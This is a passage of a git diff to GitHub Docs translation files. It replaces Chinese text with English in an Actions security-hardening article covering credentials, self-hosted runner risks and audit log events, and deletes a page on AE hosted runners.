or ghae-next or ghec %}can have {% else %}has {% endif %}the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." + - The `GITHUB_TOKEN` should be used whenever possible. +2. **Repository deploy key** + - Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#deploy-keys)." + - Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements. +3. **{% data variables.product.prodname_github_app %} tokens** + - {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories. +4. **Personal access tokens** + - You should never use personal access tokens from your own account. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your user account. This indirectly grants broad access to all write-access users of the repository the workflow is in. In addition, if you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. + - If a personal access token is used, it should be one that was generated for a new account that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys. +5. **SSH keys on a user account** + - Workflows should never use the SSH keys on a user account. Similar to personal access tokens, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead. -## 自托管运行器的强化 +## Hardening for self-hosted runners -**{% data variables.product.prodname_dotcom %} 托管的**运行程序在临时和干净的隔离虚拟机中执行代码,这意味着无法持续破坏此环境,可以访问的信息不会超过引导过程中此环境中存在的信息。 +**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process. -{% data variables.product.product_name %} 上**自托管**的运行器不能保证在临时干净的虚拟机中运行,并且可能会持续受到工作流程中不受信任的代码的损害。 +**Self-hosted** runners on {% data variables.product.product_name %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow. -因此,自托管的运行器几乎[永远不能用于 {% data variables.product.product_name %} 上的公共仓库](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories),因为任何用户都可以打开针对仓库的拉取请求并破坏环境。 Similarly, be cautious when using self-hosted runners on private repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. 尽管工作流程可以通过使用环境和必需的审查来控制对环境密钥的访问,但是这些工作流程不是在隔离的环境中运行,在自托管运行程器上运行时仍然容易遭受相同的风险。 +As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be cautious when using self-hosted runners on private repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner. -在组织或企业级别定义自托管运行器时, {% data variables.product.product_name %} 可将多个仓库中的工作流程安排到同一个运行器中。 因此,这些环境的安全危害可能会导致广泛的影响。 为了帮助缩小损害范围,可以通过将自托管运行器组织到单独的组中来创建边界。 更多信息请参阅“[使用组管理对自托管运行器的访问](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)”。 +When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.product_name %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)." -您还应考虑自托管运行器机器的环境: -- 配置为自托管运行器的计算机上存储哪些敏感信息? 例如,私有 SSH 密钥、API 访问令牌等。 -- 计算机是否可通过网络访问敏感服务? 例如,Azure 或 AWS 元数据服务。 此环境中的敏感信息量应保持在最低水平,您应该始终注意,任何能够调用工作流程的用户都有权访问此环境。 +You should also consider the environment of the self-hosted runner machines: +- What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others. +- Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment. -某些客户可能会尝试通过实施在每次作业执行后自动销毁自托管运行器的系统来部分降低这些风险。 但是,此方法可能不如预期有效,因为无法保证自托管运行器只运行一个作业。 有些任务将使用密钥作为命令行参数,可以在同一运行器上的另一个任务中看到,例如 `ps x -w`。 这可能导致秘密泄露。 +Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages. ### Planning your management strategy for self-hosted runners A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner: **Centralised management:** - - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. + - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. - If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future. **De-centralised management:** - - If each team will manage their own self-hosted runners, then its recommended that you add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. + - If each team will manage their own self-hosted runners, then its recommended that you add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. - You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories. {% ifversion fpt or ghec or ghae-issue-4856 %} @@ -288,78 +288,80 @@ If you are using {% data variables.product.prodname_actions %} to deploy to a cl {% endif %} -## 审核 {% data variables.product.prodname_actions %} 事件 +## Auditing {% data variables.product.prodname_actions %} events -您可以使用审核日志来监控组织中的管理任务。 审核日志记录操作类型、操作的运行时间以及执行操作的用户帐户。 +You can use the audit log to monitor administrative tasks in an organization. The audit log records the type of action, when it was run, and which user account performed the action. -例如,您可以使用审核日志跟踪 `org.update_actions_secret` 事件,这些事件跟踪组织秘密的变化: ![审核日志条目](/assets/images/help/repository/audit-log-entries.png) +For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets: + ![Audit log entries](/assets/images/help/repository/audit-log-entries.png) -以下表格描述了您可以在审核日志中找到的 {% data variables.product.prodname_actions %} 事件。 有关使用审核日志的更多信息,请参阅“[查看组织的审核日志](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)”。 +The following tables describe the {% data variables.product.prodname_actions %} events that you can find in the audit log. For more information on using the audit log, see +"[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)." {% ifversion fpt or ghec %} -### 环境事件 +### Events for environments -| 操作 | 描述 | -| ----------------------------------- | ------------------------------------------------------------------------------------ | -| `environment.create_actions_secret` | 在环境中创建机密时触发。 更多信息请参阅“[环境机密](/actions/reference/environments#environment-secrets)”。 | -| `environment.delete` | 当环境被删除时触发。 更多信息请参阅“[删除环境](/actions/reference/environments#deleting-an-environment)”。 | -| `environment.remove_actions_secret` | 从环境中删除机密时触发。 更多信息请参阅“[环境机密](/actions/reference/environments#environment-secrets)”。 | -| `environment.update_actions_secret` | 当环境中的机密更新时触发。 更多信息请参阅“[环境机密](/actions/reference/environments#environment-secrets)”。 | +| Action | Description +|------------------|------------------- +| `environment.create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `environment.delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)." +| `environment.remove_actions_secret` | Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `environment.update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." {% endif %} {% ifversion fpt or ghes or ghec %} -### 配置更改事件 -| 操作 | 描述 | -| ---------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- | -| `repo.actions_enabled` | 为仓库启用 {% data variables.product.prodname_actions %} 时触发。 可以使用用户界面查看。 当您使用 REST API 访问审计日志时,此事件不可见。 更多信息请参阅“[使用 REST API](#using-the-rest-api)”。 | +### Events for configuration changes +| Action | Description +|------------------|------------------- +| `repo.actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not visible when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)." {% endif %} -### 机密管理的事件 -| 操作 | 描述 | -| ---------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `org.create_actions_secret` | 为组织创建 {% data variables.product.prodname_actions %} 机密时触发。 更多信息请参阅“[为组织创建加密密码](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)”。 | -| `org.remove_actions_secret` | 当 {% data variables.product.prodname_actions %} 密码被移除时触发。 | -| `org.update_actions_secret` | 在 {% data variables.product.prodname_actions %} 密码更新时触发。 | -| `repo.create_actions_secret` | 为仓库创建 {% data variables.product.prodname_actions %} 密码时触发。 更多信息请参阅“[为仓库创建加密密码](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)”。 | -| `repo.remove_actions_secret` | 当 {% data variables.product.prodname_actions %} 密码被移除时触发。 | -| `repo.update_actions_secret` | 在 {% data variables.product.prodname_actions %} 密码更新时触发。 | +### Events for secret management +| Action | Description +|------------------|------------------- +| `org.create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)." +| `org.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed. +| `org.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated. +| `repo.create_actions_secret ` | Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)." +| `repo.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed. +| `repo.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated. -### 自托管运行器的事件 -| 操作 | 描述 | -| ----------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `enterprise.register_self_hosted_runner` | 在注册新的自托管运行器时触发。 更多信息请参阅“[将自托管运行器添加到企业](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)”。 | -| `enterprise.remove_self_hosted_runner` | 当自托管运行器被移除时触发。 | -| `enterprise.runner_group_runners_updated` | 当运行器组成员列表更新时触发。 更多信息请参阅“[为组织设置组中的自托管运行器](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)”。{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `enterprise.self_hosted_runner_online` | 当运行器应用程序启动时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。 | -| `enterprise.self_hosted_runner_offline` | 当运行器应用程序停止时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。{% endif %} -| `enterprise.self_hosted_runner_updated` | 当运行器应用程序更新时触发。 可以使用 REST API 和 UI 查看。 当您将审核日志导出为 JSON 数据或 CSV 文件时,此事件不包括在内。 更多信息请参阅“[关于自托管的运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)”和“[审查组织的审核日志](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)”。 | -| `org.register_self_hosted_runner` | 在注册新的自托管运行器时触发。 更多信息请参阅“[将自托管运行器添加到组织](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)”。 | -| `org.remove_self_hosted_runner` | 当自托管运行器被移除时触发。 更多信息请参阅“[从组织移除运行器](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization)”。 | -| `org.runner_group_runners_updated` | 当运行器组成员列表更新时触发。 更多信息请参阅“[为组织设置组中的自托管运行器](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)”。 | -| `org.runner_group_updated` | 当自托管运行器组的配置改变时触发。 更多信息请参阅“[更改自托管运行器组的访问策略](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)”。{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `org.self_hosted_runner_online` | 当运行器应用程序启动时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。 | -| `org.self_hosted_runner_offline` | 当运行器应用程序停止时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。{% endif %} -| `org.self_hosted_runner_updated` | 当运行器应用程序更新时触发。 可以使用 REST API 和 UI 查看;在 JSON /CSV 导出中不可见。 更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)”。 | -| `repo.register_self_hosted_runner` | 在注册新的自托管运行器时触发。 更多信息请参阅“[将自托管运行器添加到仓库](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)”。 | -| `repo.remove_self_hosted_runner` | 当自托管运行器被移除时触发。 更多信息请参阅“[从仓库删除运行器](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)”。{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `repo.self_hosted_runner_online` | 当运行器应用程序启动时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。 | -| `repo.self_hosted_runner_offline` | 当运行器应用程序停止时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。{% endif %} -| `repo.self_hosted_runner_updated` | 当运行器应用程序更新时触发。 可以使用 REST API 和 UI 查看;在 JSON /CSV 导出中不可见。 更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)”。 | +### Events for self-hosted runners +| Action | Description +|------------------|------------------- +| `enterprise.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)." +| `enterprise.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. +| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} +| `enterprise.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI. This event is not included when you export the audit log as JSON data or a CSV file. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" and "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)." +| `org.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)." +| `org.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization). +| `org.runner_group_runners_updated` | Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)." +| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} +| `org.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." +| `repo.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." +| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} +| `repo.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." -### 自托管运行器组的事件 -| 操作 | 描述 | -| ---------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `enterprise.runner_group_created` | 在创建自托管运行器组时触发。 更多信息请参阅“[为企业创建自托管运行器组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)”。 | -| `enterprise.runner_group_removed` | 当自托管运行器组被移除时触发。 更多信息请参阅“[移除自托管运行器组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)”。 | -| `enterprise.runner_group_runner_removed` | 当 REST API 用于从组中删除自托管运行器时触发。 | -| `enterprise.runner_group_runners_added` | 当自托管运行器添加到组时触发。 更多信息请参阅“[将自托管运行器移动到组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)”。 | -| `enterprise.runner_group_updated` | 当自托管运行器组的配置改变时触发。 更多信息请参阅“[更改自托管运行器组的访问策略](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)”。 | -| `org.runner_group_created` | 在创建自托管运行器组时触发。 更多信息请参阅“[为组织创建自托管运行器组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)”。 | -| `org.runner_group_removed` | 当自托管运行器组被移除时触发。 更多信息请参阅“[移除自托管运行器组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)”。 | -| `org.runner_group_updated` | 当自托管运行器组的配置改变时触发。 更多信息请参阅“[更改自托管运行器组的访问策略](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)”。 | -| `org.runner_group_runners_added` | 当自托管运行器添加到组时触发。 更多信息请参阅“[将自托管运行器移动到组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)”。 | -| `org.runner_group_runner_removed` | 当 REST API 用于从组中删除自托管运行器时触发。 更多信息请参阅“[为组织从组中删除自托管运行器](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)”。 | +### Events for self-hosted runner groups +| Action | Description +|------------------|------------------- +| `enterprise.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an enterprise](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)." +| `enterprise.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." +| `enterprise.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. +| `enterprise.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)." +| `enterprise.runner_group_updated` |Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `org.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)." +| `org.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." +| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `org.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)." +| `org.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." -### 工作流程活动事件 +### Events for workflow activities {% data reusables.actions.actions-audit-events-workflow %} diff --git a/translations/zh-CN/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md b/translations/zh-CN/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md deleted file mode 100644 index ef56c743ec..0000000000 --- a/translations/zh-CN/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: About AE hosted runners -intro: '{% data variables.product.prodname_ghe_managed %} offers customizable and security hardened hosted virtual machines to run {% data variables.product.prodname_actions %} workflows. You can select the hardware, bring your own machine image, and enable an IP address for networking with your {% data variables.actions.hosted_runner %}.' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## About {% data variables.actions.hosted_runner %}s - -An {% data variables.actions.hosted_runner %} is a virtual machine managed by {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_actions %} runner service installed. {% data variables.actions.hosted_runner %}s are dedicated to your enterprise, and you can choose from a range of hardware and software options. By default, {% data variables.actions.hosted_runner %}s are fully managed and auto-scaled by {% data variables.product.company_short %} to maximize performance while minimizing costs.{% ifversion ghae-next %} You can optionally configure the parameters of this auto-scaling to reduce your cost even more.{% endif %} - -{% data variables.product.prodname_ghe_managed %} lets you create and customize {% data variables.actions.hosted_runner %}s using Ubuntu or Windows images; you can select the size of machine you want and optionally configure a fixed public IP range for your {% data variables.actions.hosted_runner %}s. - -Each workflow job is executed in a fresh instance of the {% data variables.actions.hosted_runner %}, and you can run workflows directly on the virtual machine or in a Docker container. All steps in the job execute in the same instance, allowing the actions in that job to share information using the {% data variables.actions.hosted_runner %}'s filesystem. - -To add {% data variables.actions.hosted_runner %}s to your organization or enterprise, see ["Adding {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/adding-ae-hosted-runners)." - -## Pool assignments for {% data variables.actions.hosted_runner %}s - -Your {% data variables.actions.hosted_runner %}s are allocated to the same pool as your {% data variables.product.prodname_ghe_managed %} instance. No other customers have access to this pool, and as a result, {% data variables.actions.hosted_runner %}s are not shared with any other customers. - -## Managing your {% data variables.actions.hosted_runner %}s - -During the {% data variables.actions.hosted_runner %} beta, you can manage your {% data variables.actions.hosted_runner %}s by contacting {% data variables.product.prodname_dotcom %} support. For example, {% data variables.product.prodname_dotcom %} support can assist you with adding a new {% data variables.actions.hosted_runner %}, assigning labels, or moving a {% data variables.actions.hosted_runner %} to a different group. - -## Billing - -Once the beta ends, billed usage will include the full uptime of active instances in your AE hosted runner sets. This includes: -- Job time - minutes spent running Actions job. -- Management - minutes spent re-imaging machines{% ifversion ghae-next %} and any idle time created as a result of desired auto-scale behavior{% endif %}. - -Pricing will scale linearly with cores. For example, 4 cores will be twice the price of 2 cores. Windows VMs will be priced higher than Linux VMs. - -## Hardware specifications - -{% data variables.actions.hosted_runner %}s are available on a range of virtual machines hosted in Microsoft Azure. Depending on regional availability, you can choose from `Standard_Das_v4`, `Standard_DS_v2`, `Standard_Fs_v2 series`. Certain regions also include GPU runners based on `Standard_NCs_v3`. - -For more information about these Azure machine resources, see "[Sizes for virtual machines in Azure](https://docs.microsoft.com/en-gb/azure/virtual-machines/sizes)" in the Microsoft Azure documentation. - -To determine which runner executed a job, you can review the workflow logs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)." - -## Software specifications - -You can use {% data variables.actions.hosted_runner %}s with standard operating system images, or you can add images that you've created. - -### Default operating system images - -These images only include the standard operating system tools: - -- Ubuntu 18.04 LTS (Canonical) -- Ubuntu 16.04 LTS (Canonical) -- Windows Server 2019 (Microsoft) -- Windows Server 2016 (Microsoft) - -### Custom operating system images - -You can create your own OS images in Azure and have them added to {% data variables.product.prodname_ghe_managed %} as {% data variables.actions.hosted_runner %}s. For more information, see "[Adding an {% data variables.actions.hosted_runner %} with a custom image"](/actions/using-github-hosted-runners/adding-ae-hosted-runners#adding-an-ae-hosted-runner-with-a-custom-image). - -## Network specifications - -You can optionally enable a fixed static public IP address for your {% data variables.actions.hosted_runner %}s. If enabled, all {% data variables.actions.hosted_runner %}s in your instance will share a range of 2 to 4 IP addresses, and will communicate using ports on those addresses. - -If you don't enable static public IP addresses, then your {% data variables.actions.hosted_runner %}s will subsequently have the same IP address ranges as the Azure datacenters. Inbound ICMP packets are blocked, so `ping` or `traceroute` commands are not expected to work. - -To get a list of 